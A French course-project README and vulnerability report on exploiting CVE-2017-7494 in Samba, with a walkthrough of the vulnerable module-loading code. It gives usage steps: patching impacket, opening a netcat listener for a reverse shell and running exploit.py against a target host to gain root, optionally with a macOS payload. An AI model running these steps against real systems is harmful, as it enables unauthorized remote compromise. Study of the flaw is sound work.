Exploit CVE-2017-7494 pour le travail final du cours Sécurité Réseau. Cela révélerait la vulnérabilité des services qui s'exécutent avec des privilèges administratifs sur Linux.
Exploitation de CVE-2017-7494 pour le projet final du cours de Sécurité Réseau. Ceci révèle la vulnérabilité des services qui s'exécutent avec des privilèges administratifs sur le système d'exploitation.
Ce bogue fonctionne à la fois sur macOS et Linux.
Avant l'exploitation, vous devez télécharger les dépendances.
/bin/bash install_requirement.sh
L'une des dépendances les plus importantes est le paquet impacket pour Python. Il permet aux connexions SMB de fonctionner.
Cependant, afin de construire une requête valide qui force le serveur Samba à charger notre module malveillant, nous devons modifier l'impacket original.
L'installation install_requirement.sh installe une version modifiée (modifiée par moi) donc vous n'avez pas à vous en soucier et vous n'avez besoin d'aucune modification manuelle.
Cependant, si vous souhaitez utiliser une version plus récente ou une autre version d'impacket, vous devez modifier ce paquet vous-même.
Allez dans
impacket/impacket/smb3.pymodifiez la ligne 11154 et commentez les deux phrases suivantes :
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
Pour exploiter la cible, vous devez ouvrir deux terminaux. L'un utilise netcat pour interagir avec le shell inversé, l'autre est utilisé pour exploiter le BUG.
Utilisation :
# Premier terminal : utilisez nc pour obtenir un shell inversé
$ nc -p 23333 -l
# Deuxième terminal : exploitez la cible
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
Si la cible est macOS, vous ne devez pas compiler le module sur Linux ! Car gcc ne prend pas en charge le format MACH-O. Si vous êtes un utilisateur Mac, la compilation du payload macOS fonctionne.
Une version précompilée se trouve dans le répertoire. Fichier mac_payload.so.
Utilisez le paramètre -m pour indiquer à exploit.py que vous allez utiliser un payload personnalisé.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
Un processus détaillé sera publié en chinois dans le cadre de mon projet final. Si vous comprenez le chinois, cela vous conviendra. :)
— Rapport d'attaque CVE2017-7494
EternalBlue a causé d'énormes pertes en 2017, exploitant le mécanisme SMB de Windows pour une attaque de ver. SMB est un service fonctionnant sous Windows qui permet le partage de fichiers et les appels de procédure distante (Remote Procedure Call, RPC) entre différents hôtes. C'est peut-être cette nature fonctionnelle qui en fait souvent une cible pour les hackers.
Les vulnérabilités du noyau du système d'exploitation lui-même devraient être assez rares – même pour Windows. Ce sont généralement les divers services s'exécutant sur le système d'exploitation qui posent problème. Ils n'ont pas le même niveau de test rigoureux que le système d'exploitation, mais fonctionnent avec des privilèges élevés, créant ainsi de nombreuses opportunités d'exploitation malveillante. Alors, pouvons-nous compromettre l'ensemble du système en attaquant un service à privilèges élevés sur le système d'exploitation, plutôt que d'attaquer les composants bas niveau du système d'exploitation lui-même ? Un système d'exploitation seul n'est qu'un noyau, incapable de faire quoi que ce soit ; ce n'est qu'en exécutant divers services système qu'il peut nous fournir des fonctionnalités variées. De nombreux services système doivent fonctionner avec des privilèges d'administrateur (en tant que démons). Par conséquent, compromettre un tel service à privilèges élevés permet d'obtenir automatiquement les privilèges d'administrateur du système, et donc de compromettre l'ensemble du système d'exploitation.
Finalement, j'ai trouvé une vulnérabilité exploitable dans l'implémentation open source de SMB : Samba – CVE-2017-7494. À l'instar de Windows, un attaquant peut obtenir les privilèges d'administrateur du système via l'appel de procédure distante de Samba, ce qui lui donne l'opportunité de construire un ver informatique pour attaquer en ligne.
Le noyau Linux est réputé pour sa sécurité grâce à l'open source ; macOS, en tant que système de niche, donne souvent une fausse impression de sécurité car peu de virus le ciblent. Par conséquent, cette expérience choisit d'attaquer macOS et plusieurs distributions Linux différentes pour démontrer la vulnérabilité des systèmes d'exploitation – peu importe à quel point la conception d'un système d'exploitation « semble sécurisée », il peut toujours être compromis par une vulnérabilité dans une petite application.
Étant donné que Samba est un service équivalent à SMB, certains l'appellent également « l'EternalBlue de Linux », bien que je pense que d'un point de vue technique, ces deux vulnérabilités sont fondamentalement différentes :
Cette vulnérabilité provient principalement de l'appel à smb_probe_module() dans la fonction bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) du fichier source3\rpc_server\srv_pipe.c :
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
// Problème ici
status = smb_probe_module("rpc", pipename);
....
La fonction parente np_open() de is_known_pipename() est un module de contrôle qui, après avoir vérifié la requête de service RPC, appelle is_known_pipename(). Comme son nom l'indique, is_known_pipename() sert à déterminer si un tube distant est déjà enregistré. Cependant, après Samba 3.50, une nouvelle fonctionnalité a été introduite : le chargement de modules dynamiques via l'appel à smb_probe_module(). C'est précisément cette fonctionnalité de chargement de modules qui est exploitée par la vulnérabilité pour appeler notre propre module malveillant.
Le chargement du module rpc pipe suit la chaîne d'appels suivante :
is_known_pipename() - > smb_probe_module() -> do_smb_load_module() -> load_module()
Entre Samba 3.5.0 et Samba 4.6.3, la fonction do_smb_load_module() est réutilisée à la fois par smb_probe_module() (pour charger les modules RPC) et par un autre smb_load_module() (pour charger ses propres modules). smb_load_module() est destinée à charger des modules connus, normalement utilisée en interne pour l'extension des fonctionnalités de Samba, comme les modules VFS ; tandis que smb_probe_module() devrait signifier le chargement de modules potentiels, pouvant provenir des requêtes RPC.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
Afin d'être réutilisée par ces deux fonctions d'origines très différentes (bien que je pense que ces deux modules ne devraient absolument pas partager la même fonction), do_smb_load_module() implémente deux façons de charger un module : « analyser la requête et charger le module dans le sous-système SMB » et « charger le module via un chemin absolu ».